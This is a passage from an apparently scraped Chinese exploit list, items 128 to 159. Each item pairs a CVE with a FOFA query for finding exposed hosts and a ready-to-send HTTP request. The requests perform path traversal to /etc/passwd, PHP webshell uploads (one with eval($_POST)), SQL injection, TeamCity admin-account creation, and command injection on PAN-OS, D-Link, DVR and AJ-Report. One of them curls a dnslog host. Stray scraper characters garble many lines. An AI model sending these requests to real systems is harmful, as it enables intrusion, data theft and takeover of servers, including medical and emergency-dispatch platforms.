128. Adobe ColdFusion 反序列化
9 @) ~. r. J0 S0 u3 Z9 \8 l8 jCVE-2023-38203
' e( ?- m# Q+ P  M; _4 g2 _3 uAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
1 d  i* R: h% d; m( S# JFOFA：app="Adobe-ColdFusion"
PAYLOAD

* ]3 O# O$ K( O3 W% P9 [9 o1 X129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
; v% l7 V, g4 x+ `8 r' s8 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
. q7 s$ k. K# M
9 ~- S; X! D, m" K/ L
* K) Y6 a; p8 ~, B第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
* D$ X4 S9 [  d0 }! P7 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
- l  {; n- Z6 g. ~! {4 }* zuuid: 85f60018-a654-4410-a783-f81cbd5000b9
/ |% w( A: Z- B! \; u; ?3 I) I

130. Laykefu客服系统任意文件上传
4 r- f6 z) h4 ~* C5 Q- IFOFA：icon_hash="-334624619"
4 ?- G2 U# @5 a! vPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
4 g: ^2 X9 P: @7 N' ?: BAccept: application/json, text/javascript, */*; q=0.01
. i! Q& b5 D2 f  e; B& ^8 M9 IX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" @& `( M3 [3 p9 D$ f" @Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
' q/ E' j7 M9 m0 Y1 \& Y4 @+ `Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
4 z: v+ {% M- EConnection: close
0 ]- O+ ]+ S8 K  S7 k" w. j
7 o. @* M' X: D! T8 n% t# x; Y& D------WebKitFormBoundary3OCVBiwBVsNuB2kR
% }! i; z/ Y# F& C, gContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

# Z6 Y. j, P( o% }! [<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
5 t, g; b6 D3 R4 x3 v! \

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
; |6 j9 D6 P5 u& X: o% J后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
, h& d" L! p# \. R1 D1 ^
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
& n( a" N* t( \: {/ gPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
% p9 Z' y2 O/ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
5 A' ^5 y  t) Y" x2 DAccept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


& N3 h- Q6 [( Z8 cCVE-2024-27198-RCE.py
" f& J8 a% |0 p9 l% j( E
; u3 u0 x; e* x5 I4 u133. H5 云商城 file.php 文件上传
+ C# v; {9 `% OFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
4 L0 F6 X/ K& }8 |( N' U) c1 `1 dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

  w0 o$ H7 {2 S' j: A7 y------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
- S: F/ i! G/ x6 s. ^------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
" }5 b- e4 `1 W% S: C
9 |/ z/ W( D% M- ~0 `/ ?" g4 g  ?
* u& r5 d9 ~: c
134. 网康NS-ASG应用安全网关index.php sql注入
2 r2 k4 F  W3 L, k1 w* hCVE-2024-2330
, h* f' s  i* Q( N7 h  a; X/ b5 |" }Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
  X- A4 U; ]: j. D6 ?' YHost: x.x.x.x
3 P+ u8 W; V0 j( W* fCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
5 W4 T2 {  X# T* {5 ?3 j6 OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
' m% ?: B. g) P4 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. k% S3 z. W' ]1 mAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
0 f7 ]4 E  k$ ~! sSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
( H1 Z! i0 i4 ZContent-Type: application/x-www-form-urlencoded
) C, q/ E' U" I# j) AContent-Length: 263
* g% i5 Y$ u: N3 {& Q
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

6 G4 p, y* x0 o/ E# J! Z6 H
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
; p! T* _/ A# B4 }* g8 ~Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
* H# c; F, E  ~GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
& o# r2 j9 N7 H9 W/ `$ O" F" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) |, t# k, _% Q$ c0 L! gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" F. P6 R$ Y1 [0 TAccept-Encoding: gzip, deflate
& U4 ^0 t0 `5 S2 }' o1 F% cAccept-Language: zh-CN,zh;q=0.9
Connection: close
" w+ _! V+ j- {

136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
! m1 J; k( n2 x" P3 {# qUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) j3 Q7 O* ^6 ~+ ^) s% ]1 \& F  ^Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
1 i* w) W0 l; D

( e: `) j* A% W, U" p137. 福建科立迅通信指挥调度平台down_file.php sql注入
$ m  O1 S6 \7 L4 t6 s  W* ECVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
9 J8 M, G1 O7 B: Z1 i, B/ IHost: x.x.x.x
9 V) e  i" e* m' iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: F, Y, q  s; ~, |2 yAccept-Encoding: gzip, deflate, br
Connection: close
' k1 k5 A: K, k6 g8 ~4 H# M" lCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
) A& V. y4 U# _& D6 C% |( |0 dUpgrade-Insecure-Requests: 1

. x, @( A1 i; _1 k$ m
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: |2 Q0 v% d1 A5 g* k; L0 ~CVE-2024-2621
2 v8 n2 g1 g: g! q1 @FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
/ ~1 g5 r4 C4 q! g; H3 Y$ w( iGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
. a# h/ h+ p( w# F0 OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. `' i4 {) c" C+ ], QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# y0 J' ~; `7 d5 D9 y% PConnection: close
( l4 W* e! i# I( Z- r) gUpgrade-Insecure-Requests: 1
6 [& k$ ?# o6 V- l9 Z  H1 \

, C) w& }; U8 H  @139. 福建科立讯通信指挥调度平台editemedia.php sql注入
7 n4 E% d  u9 @$ m- n( `6 MCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* @3 z# T7 S* U% z& ^3 |Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
! v  |: x' C5 U4 oFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
  t+ v5 {  f, O1 G  |0 }Host: x.x.x.x
$ b4 X9 H) t# O" G, C, d$ y; ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 R2 ~2 `# _+ k4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* V- N1 j4 \. @& Q% vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) i4 X+ t$ G' _1 C; J# t) y9 A9 oAccept-Encoding: gzip, deflate, br
9 i& S/ ^  M) u: DConnection: close
1 a" ?& v& p* W4 hCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
- q4 w9 Z* v5 F: E

  I) X$ l3 @9 o; a/ u5 m  K& G9 W141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
# p) M! u6 g8 p

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

6 L0 J3 N; f7 d2 J4 P
142. CMSV6车辆监控平台系统中存在弱密码
& q8 k: p9 U" P/ F  p* t* `CVE-2024-29666
FOFA：body="/808gps/"
7 X8 h& }& h/ H, v& R- i% C) c& Oadmin/admin
2 _7 f/ o- D! e  F/ H! e143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
6 J8 Z- Y& f+ E9 V) [4 M- S) }PAYLOAD

3 d/ N' s& P: _144. D-Link nas_sharing.cgi 命令注入
' w0 b' h' p% H2 x  `FOFA：app="D_Link-DNS-ShareCenter"
: E$ F' H6 p: |& H  g+ Usystem参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
% `% m( e$ F3 o" Z" x9 D: u' uConnection: close
9 X; U; _# I% h2 i7 m* M; K. kAccept: */*
$ t% f" n/ ]# Y; Z# K4 {Accept-Language: en
Accept-Encoding: gzip
" U  m6 u! R9 v. f

" H: C  f% \" e! o. {" _145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
6 `; U8 E) j) t3 d$ @- o2 v% `CVE-2024-3400
FOFA：icon_hash="-631559155"
5 O" x! @$ U' }, M5 B; h3 [GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
3 ?  @! W& ?& n, RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
4 h' C4 o7 Q& Z6 z' NAccept-Encoding: gzip
" z" S. N" o4 x/ h. M: t# L( w9 Z
6 }, D% l% C9 l# }0 g
# d" D+ I5 {0 D* s% h0 N146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
; F- I7 j$ ?, Y, RFOFA：app="MajordomoSL"
- i; e4 B4 N' c: NGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
6 h; T# E2 Q1 ?8 ~4 m* }# L9 ?Host: x.x.x.x
" \" V; _) q! k6 H' |; {4 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
+ ?2 x1 M4 z% I9 [, W2 Z( `Accept-Encoding: gzip, deflate
8 A  T) h( u8 Q; v8 W: C) e  _, RConnection: close
4 L& h7 C' q. [* ]

9 x+ H& R8 X2 R7 R9 f/ _# l# ?147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
. h+ O) d' Z6 s- QFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
7 G. U  f0 ^1 }1 DHost: 127.0.0.1:81
: Q# @. y1 B2 @Cache-Control: max-age=0
Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
+ o8 f6 p& F9 K% e5 |4 \5 l+ Y& UPAYLOAD
. z4 U6 t7 ?3 y# R) f; Z
149. AJ-Report开源数据大屏存在远程命令执行
8 \* B! W& {9 ^# z3 uFOFA：title="AJ-Report"

! }! j( E. `& J& ^) CPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
! g  E, Z) e/ ]& a3 tHost: x.x.x.x
) Q; Q7 q! \& D8 w: G; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: m1 g7 _. X3 |) `. U* T- [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
, ~. {8 N5 O  sConnection: close
" |# s9 V+ q' n5 y( D* K6 o
/ t( W6 ^. ?5 X. O5 l9 `3 {{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 H' A6 Z! m& O$ G) B7 i+ T: j( O1 M
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
; N0 e- N% x, P4 f  i6 c2 \5 ?POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
  d! E9 ^8 B+ G- A6 I; z! x4 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 G" v- @; ^/ Y$ @: _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ k: s2 r9 M1 XAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
6 w' q5 M  n6 D$ bContent-Type: application/json;charset=UTF-8
, T, y0 |$ b* }) A8 BConnection: close
4 T; R9 q& C3 R4 {$ [Content-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
# p, E" k7 J# T& |+ i
7 M3 H4 X! W3 u. U9 [! f7 P
151. AJ-Report 1.4.1 pageList sql注入
/ [' D8 z$ M& r' zFOFA：title="AJ-Report"
( I0 a0 o: F% ~6 e- VGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
+ t( c5 f# F2 T- g( K. L9 vHost: x.x.x.x
2 @4 `7 H, w5 a# HUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
9 ~) \8 r9 R# F
0 Q$ }/ R$ n$ a: V4 x7 [
+ Y. L2 K2 l& d, k$ u! Z9 M: e152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
6 K; S6 R4 e8 E6 L9 PAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
) w: P8 z# y) {7 A  B' ?

153. gradio任意文件读取
6 B, Y# j' i6 Z/ S; ?9 H. bCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
! i/ v- x/ e, V' P

第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
& h+ s2 k* D) R/ tHost: x.x.x.x
3 U- k( I9 M8 z2 Z; t0 X8 m" WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
/ k( ^! o9 |! z7 r9 q; cContent-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
  \/ i, T9 r  ^" y( \+ v- O
5 w  ~; T: {/ w{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
/ ?% ^; w  d8 q/ ?; k: ~

$ Z, H! Y7 @1 |7 T# @, W第三步访问
7 [2 [7 \: G' ^. thttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
4 e# X. ?- y( S( d6 d
! E- w! J; I* y9 M/ |1 l2 n2 N2 C
6 D8 D  y" S9 F# t9 M154. 天维尔消防救援作战调度平台 SQL注入
- ]" ]7 |* m/ w! ]; \- I3 GCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
6 H0 \' x4 w9 E- @% K+ QHost: x.x.x.x
+ _4 d" ^1 \- k1 V6 _Content-Length: 106
6 y: ~" M' k. F& tCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
5 N' B. Q( _" p1 bOrigin: http://x.x.x.x
5 M3 u9 G, x1 YContent-Type: application/json
/ ]3 J( [( F; f, E  f5 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- d1 e# B% b; [& u1 B9 [, N, rReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
  C+ r: n4 P& b% eAccept-Encoding: gzip, deflate
+ A( W2 `7 ]/ Q6 o. I1 L0 K9 k/ l1 uAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
  B+ l  p; m, r  ^* TConnection: close
4 F) X, v9 h6 Q7 @
. {' d7 D! W( {' ~+ n0 T{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
3 j, I/ d# G5 i4 \

155. 六零导航页 file.php 任意文件上传
: N$ _, a, Q9 U) A2 HCVE-2024-34982
; `& X2 C1 M# i' d0 aFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
. ~$ {' W4 j% Q% \: pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
6 m; a% O' W9 |; a/ O  kContent-Length: 232
% w9 N9 A/ t: O. `( g; @. SAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
4 ]/ q' [4 M& `: p9 m2 {0 AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
0 a, B; d6 X0 q( e  R# w1 D. ~X-Requested-With: XMLHttpRequest

# ~. b! k( b- n+ D# a-----------------------------qttl7vemrsold314zg0f
- N' U- q/ z& p! _Content-Disposition: form-data; name="file"; filename="test.php"
% O, g+ p1 s2 pContent-Type: image/png
5 G5 D/ }9 Q5 V6 @
/ }0 R" a! \) w* f, r; e: [2 u<?php phpinfo();unlink(__FILE__);?>
5 W+ c! C# R! H-----------------------------qttl7vemrsold314zg0f--

6 w' W4 ^  Y( x) R# G
$ J  H4 A, l. P& h4 [访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
# S. y# G% x8 C& L% L* o6 G
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
) g* f3 ]$ r5 m. y·TBK DVR-4104
/ A7 u* j3 E5 G/ i5 q$ m! [·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

7 p, T& m: I# w9 ~- Y
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
, y: o/ \( S* M* [! b+ @1 `: PCookie: uid=1
3 _: O7 ]; I* _. QAccept-Encoding: gzip
' z- L' Q9 ?: W' }( U; V; o& p
+ w; \- G- G8 a7 b8 [0 }' h
157. 美特CRM upload.jsp 任意文件上传
* i1 R" J0 x9 W" q: mCNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
& B# T9 Z! ]& F& ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
3 b7 C" E0 A1 O! hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
! ?. [/ j2 f1 [Accept-Encoding: gzip, deflate
; }" n* x2 o5 q# t" OAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
5 S2 ]( w; |3 l" B* V) BContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
5 P; J: s" V: X8 v
7 u; D. f' Z- W9 ^6 ^3 V, \/ \: J6 F7 x( Z------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
  i% `! |. E, z7 g+ o
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

- G  A  ^; e( U+ b7 I0 q( W+ }& d$ _null
# m' P/ c1 g, q+ o6 Y4 f1 L------WebKitFormBoundary1imovELzPsfzp5dN
5 E" \- A  C0 y7 ?* W1 j$ JContent-Disposition: form-data; name="form"
; i, r7 d. n( d- A5 j' ]
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
0 N) ~4 Y. ?1 e; \* [" i
) g; \5 _! g4 ]9 o5 Q9 ~null
8 N$ w0 r7 c% X------WebKitFormBoundary1imovELzPsfzp5dN--
: ^& S5 n8 ^0 Y0 Z# Q  Z
- n" n) A2 h: {9 r
+ ]5 T* X7 F) }7 W9 k% Shttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

: I; t, g2 x5 G( q# a. Y; K& s+ Q4 k158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
  e. n$ u, V0 h7 J: LFOFA："Generator: Masa CMS"
# F2 I, w- V2 D$ I" }0 u$ JPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
# L7 l9 L% h2 e: q7 e  \3 @Host: {{Hostname}}
( e. @- N/ `5 h9 tContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1


* e4 v5 ~6 b, e/ F4 \159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
. r: p! I0 n8 X' K& H; M! bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
! T) A) }  g7 b8 O! H3 P5 m+ gConnection: close
